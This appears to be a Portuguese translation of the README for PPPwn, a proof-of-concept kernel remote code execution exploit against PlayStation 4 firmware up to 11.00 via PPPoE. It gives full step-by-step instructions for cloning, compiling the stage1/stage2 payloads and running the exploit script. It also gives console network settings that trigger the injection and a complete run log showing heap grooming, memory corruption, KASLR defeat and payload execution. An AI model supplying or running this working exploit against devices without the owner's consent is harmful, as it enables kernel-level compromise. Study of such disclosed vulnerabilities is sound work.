
PPPwn - PlayStation 4 PPPoE RCE
PPPwn é um exploit de execução remota de código no kernel para PlayStation 4 até a FW 11.00. Este é um exploit de prova de conceito para CVE-2006-4304 que foi reportado de forma responsável à PlayStation.
Versões suportadas:
O exploit apenas imprime PPPwned na sua PS4 como prova de conceito. Para iniciar o Mira ou outros habilitadores de homebrew semelhantes, o payload stage2.bin precisa ser adaptado.
Bridged Adapter como adaptador de rede para usar a porta ethernet na VM.No seu computador, clone o repositório:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Altere o diretório para o repositório clonado:
cd PPPwn
Instale os requisitos:
sudo pip install -r requirements.txt
Compile os payloads:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Para outros firmwares, por exemplo FW 9.00, use FW=900.
NÃO EXECUTE o exploit ainda (não pressione Enter ainda), mas prepare este comando no seu terminal (veja ifconfig para saber a interface correta):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Para outros firmwares, por exemplo FW 9.00, use --fw=900.
Na sua PS4:
Vá para Settings e depois Network
Selecione Set Up Internet connection e escolha Use a LAN Cable
Escolha a configuração Custom e selecione PPPoE em IP Address Settings
Digite qualquer coisa para PPPoE User ID e PPPoE Password
Escolha Automatic para DNS Settings e MTU Settings
Escolha Do Not Use para Proxy Server
Agora, pressione simultaneamente o botão 'X' do seu controle em Test Internet Connection e 'Enter' no seu teclado (no computador em que você deixou o script Python pronto para executar).
SEMPRE aguarde o console exibir a mensagem "Cannot connect to network: (NW-31274-7)" antes de tentar esta injeção PPPoE novamente.
Se o exploit falhar ou o PS4 travar, você pode pular a configuração de internet e simplesmente clicar em Test Internet Connection. Encerre o script pppwn.py e execute-o novamente no seu computador, e então clique em Test Internet Connection na sua PS4: sempre simultaneamente.
Se o exploit funcionar, você deve ver uma saída semelhante à abaixo, e deverá ver Cannot connect to network. seguido de PPPwned impresso na sua PS4, ou vice-versa.
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
O código não compila em Apple Silicon e requer arquitetura AMD64.
Existe uma solução alternativa usando Docker que irá compilar os arquivos bin necessários.
Clone este repositório para o seu sistema Mac e, em seguida, a partir da pasta do repositório, execute ./build-macarm.sh. Isso irá compilar os binários para PS4 FW 1100 e colocar os arquivos necessários nas pastas corretas. Para compilar os binários para outra versão, ex.: 900, execute o comando assim: ./build-macarm.sh 900. Depois de compilado, copie essa estrutura de pastas para a VM Linux e execute conforme as instruções acima.
Isso foi testado usando VMware Fusion 13.5.1, com a VM convidada sendo Ubuntu 24.04 e a máquina host sendo MacOS 14.4.1.